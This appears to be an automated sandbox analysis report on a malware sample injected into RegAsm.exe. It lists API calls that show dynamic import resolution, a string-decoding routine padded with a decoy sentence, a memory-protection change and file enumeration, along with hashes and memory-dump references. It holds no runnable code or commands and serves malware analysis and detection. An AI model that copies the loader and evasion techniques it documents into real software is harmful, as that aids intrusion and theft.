Similarity

API ID:
String ID:
API String ID:
Opcode ID: df79640e05acec67f0d61f7596da1eeaa9cee5a62b7302c580b80964cee22594
Instruction ID: 58bc9e4a44242fed4d9a31ef0ba17485471a2b5577010034f1c446d77dedd9f6
Opcode Fuzzy Hash: df79640e05acec67f0d61f7596da1eeaa9cee5a62b7302c580b80964cee22594
Instruction Fuzzy Hash: 6351E074F002198FDB28DAA8C8C0ADFB7B2BB88314F549569D509FB251DB70BD848F11

Analysis Process: RegAsm.exePID: 760, Parent PID: 5580COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00F73E98), ref: 004195FD
GetProcAddress.KERNEL32(76210000,00F73E58), ref: 00419615
GetProcAddress.KERNEL32(76210000,00F7A708), ref: 0041962E
GetProcAddress.KERNEL32(76210000,00F7A6A8), ref: 00419646
GetProcAddress.KERNEL32(76210000,00F7A798), ref: 0041965E
GetProcAddress.KERNEL32(76210000,00F7A6C0), ref: 00419677
GetProcAddress.KERNEL32(76210000,00F72D70), ref: 0041968F
GetProcAddress.KERNEL32(76210000,00F7A7E0), ref: 004196A7
GetProcAddress.KERNEL32(76210000,00F7A768), ref: 004196C0
GetProcAddress.KERNEL32(76210000,00F7A750), ref: 004196D8
GetProcAddress.KERNEL32(76210000,00F7A7F8), ref: 004196F0
GetProcAddress.KERNEL32(76210000,00F73CF8), ref: 00419709
GetProcAddress.KERNEL32(76210000,00F73EB8), ref: 00419721
GetProcAddress.KERNEL32(76210000,00F73F98), ref: 00419739
GetProcAddress.KERNEL32(76210000,00F74078), ref: 00419752
GetProcAddress.KERNEL32(76210000,00F7A810), ref: 0041976A
GetProcAddress.KERNEL32(76210000,00F7A780), ref: 00419782
GetProcAddress.KERNEL32(76210000,00F72CF8), ref: 0041979B
GetProcAddress.KERNEL32(76210000,00F73FD8), ref: 004197B3
GetProcAddress.KERNEL32(76210000,00F7A828), ref: 004197CB
GetProcAddress.KERNEL32(76210000,00F7A858), ref: 004197E4
GetProcAddress.KERNEL32(76210000,00F7A870), ref: 004197FC
GetProcAddress.KERNEL32(76210000,00F7A8A0), ref: 00419814
GetProcAddress.KERNEL32(76210000,00F74038), ref: 0041982D
GetProcAddress.KERNEL32(76210000,00F7A8D0), ref: 00419845
GetProcAddress.KERNEL32(76210000,00F7A8E8), ref: 0041985D
GetProcAddress.KERNEL32(76210000,00F7AA08), ref: 00419876
GetProcAddress.KERNEL32(76210000,00F7A948), ref: 0041988E
GetProcAddress.KERNEL32(76210000,00F7A960), ref: 004198A6
GetProcAddress.KERNEL32(76210000,00F7A978), ref: 004198BF
GetProcAddress.KERNEL32(76210000,00F7A990), ref: 004198D7
GetProcAddress.KERNEL32(76210000,00F7A9F0), ref: 004198EF
GetProcAddress.KERNEL32(76210000,00F7A9A8), ref: 00419908
GetProcAddress.KERNEL32(76210000,00F7D208), ref: 00419920
GetProcAddress.KERNEL32(76210000,00F7A9C0), ref: 00419938
GetProcAddress.KERNEL32(76210000,00F7A9D8), ref: 00419951
GetProcAddress.KERNEL32(76210000,00F73EF8), ref: 00419969
GetProcAddress.KERNEL32(76210000,00F817B0), ref: 00419981
GetProcAddress.KERNEL32(76210000,00F73F18), ref: 0041999A
GetProcAddress.KERNEL32(76210000,00F81708), ref: 004199B2
GetProcAddress.KERNEL32(76210000,00F81870), ref: 004199CA
GetProcAddress.KERNEL32(76210000,00F741F8), ref: 004199E3
GetProcAddress.KERNEL32(76210000,00F74058), ref: 004199FB
LoadLibraryA.KERNEL32(00F818A0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(00F81930,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(00F81888,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(00F816A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(00F818B8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(00F81798,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(00F81690,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(00F818D0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(751E0000,00F74098), ref: 00419AAA
GetProcAddress.KERNEL32(751E0000,00F81720), ref: 00419AC2
GetProcAddress.KERNEL32(751E0000,00F7AA70), ref: 00419ADA
GetProcAddress.KERNEL32(751E0000,00F81948), ref: 00419AF3
GetProcAddress.KERNEL32(751E0000,00F74278), ref: 00419B0B
GetProcAddress.KERNEL32(73940000,00F72C80), ref: 00419B30
GetProcAddress.KERNEL32(73940000,00F740B8), ref: 00419B49
GetProcAddress.KERNEL32(73940000,00F72E88), ref: 00419B61
GetProcAddress.KERNEL32(73940000,00F81840), ref: 00419B79
GetProcAddress.KERNEL32(73940000,00F81750), ref: 00419B92
GetProcAddress.KERNEL32(73940000,00F73F38), ref: 00419BAA
GetProcAddress.KERNEL32(73940000,00F74258), ref: 00419BC2
GetProcAddress.KERNEL32(73940000,00F816D8), ref: 00419BDB
GetProcAddress.KERNEL32(753A0000,00F73FB8), ref: 00419BFC
GetProcAddress.KERNEL32(753A0000,00F73F58), ref: 00419C14
GetProcAddress.KERNEL32(753A0000,00F81960), ref: 00419C2D
GetProcAddress.KERNEL32(753A0000,00F81900), ref: 00419C45
GetProcAddress.KERNEL32(753A0000,00F740D8), ref: 00419C5D
GetProcAddress.KERNEL32(76310000,00F72D98), ref: 00419C83
GetProcAddress.KERNEL32(76310000,00F72E10), ref: 00419C9B
GetProcAddress.KERNEL32(76310000,00F81678), ref: 00419CB3
GetProcAddress.KERNEL32(76310000,00F740F8), ref: 00419CCC
GetProcAddress.KERNEL32(76310000,00F73F78), ref: 00419CE4
GetProcAddress.KERNEL32(76310000,00F72D48), ref: 00419CFC
GetProcAddress.KERNEL32(76910000,00F81768), ref: 00419D22
GetProcAddress.KERNEL32(76910000,00F74218), ref: 00419D3A
GetProcAddress.KERNEL32(76910000,00F7AC30), ref: 00419D52
GetProcAddress.KERNEL32(76910000,00F817C8), ref: 00419D6B
GetProcAddress.KERNEL32(76910000,00F817E0), ref: 00419D83
GetProcAddress.KERNEL32(76910000,00F741B8), ref: 00419D9B
GetProcAddress.KERNEL32(76910000,00F74118), ref: 00419DB4
GetProcAddress.KERNEL32(76910000,00F81780), ref: 00419DCC
GetProcAddress.KERNEL32(76910000,00F816C0), ref: 00419DE4
GetProcAddress.KERNEL32(75B30000,00F73FF8), ref: 00419E06
GetProcAddress.KERNEL32(75B30000,00F81828), ref: 00419E1E
GetProcAddress.KERNEL32(75B30000,00F818E8), ref: 00419E36
GetProcAddress.KERNEL32(75B30000,00F81918), ref: 00419E4F
GetProcAddress.KERNEL32(75B30000,00F817F8), ref: 00419E67
GetProcAddress.KERNEL32(75670000,00F74238), ref: 00419E88
GetProcAddress.KERNEL32(75670000,00F74018), ref: 00419EA1
GetProcAddress.KERNEL32(76AC0000,00F74138), ref: 00419EC2
GetProcAddress.KERNEL32(76AC0000,00F81738), ref: 00419EDA
GetProcAddress.KERNEL32(6F500000,00F74158), ref: 00419F00
GetProcAddress.KERNEL32(6F500000,00F74178), ref: 00419F18
GetProcAddress.KERNEL32(6F500000,00F74198), ref: 00419F30
GetProcAddress.KERNEL32(6F500000,00F816F0), ref: 00419F49
GetProcAddress.KERNEL32(6F500000,00F741D8), ref: 00419F61
GetProcAddress.KERNEL32(6F500000,00F73ED8), ref: 00419F79
GetProcAddress.KERNEL32(6F500000,00F81BC0), ref: 00419F92
GetProcAddress.KERNEL32(6F500000,00F81C80), ref: 00419FAA
GetProcAddress.KERNEL32(6F500000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F500000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AE0000,00F81810), ref: 00419FF9
GetProcAddress.KERNEL32(75AE0000,00F7AA90), ref: 0041A011
GetProcAddress.KERNEL32(75AE0000,00F81858), ref: 0041A029
GetProcAddress.KERNEL32(75AE0000,00F819C0), ref: 0041A042
GetProcAddress.KERNEL32(76300000,00F81AE0), ref: 0041A063
GetProcAddress.KERNEL32(6FE60000,00F819F0), ref: 0041A084
GetProcAddress.KERNEL32(6FE60000,00F81B20), ref: 0041A09D
GetProcAddress.KERNEL32(6FE60000,00F81990), ref: 0041A0B5
GetProcAddress.KERNEL32(6FE60000,00F819D8), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: ab2b04f3d6281ef9fbab033e901b1840e2af69ca2f43dbb6238b48a6b33dfadf
Instruction ID: 342c1a403a61396bc4d6a340e997ffc18e44152fcf374b5eec423e3b2d831905
Opcode Fuzzy Hash: ab2b04f3d6281ef9fbab033e901b1840e2af69ca2f43dbb6238b48a6b33dfadf
Instruction Fuzzy Hash: D741BB79740624EBC718AFE5FC89B987F70AB4C712BA0C062F90696190CBF9D5019B7D

Function 004133C0 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 250
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 004133DC
FindFirstFileA.KERNEL32(?,?), ref: 004133F3
lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

%s\%s\%s, xrefs: 0041355A
18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s\%s, xrefs: 0041348A
%s\%s, xrefs: 0041357F
%s%s, xrefs: 004135BD
%s\*, xrefs: 004133D0

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
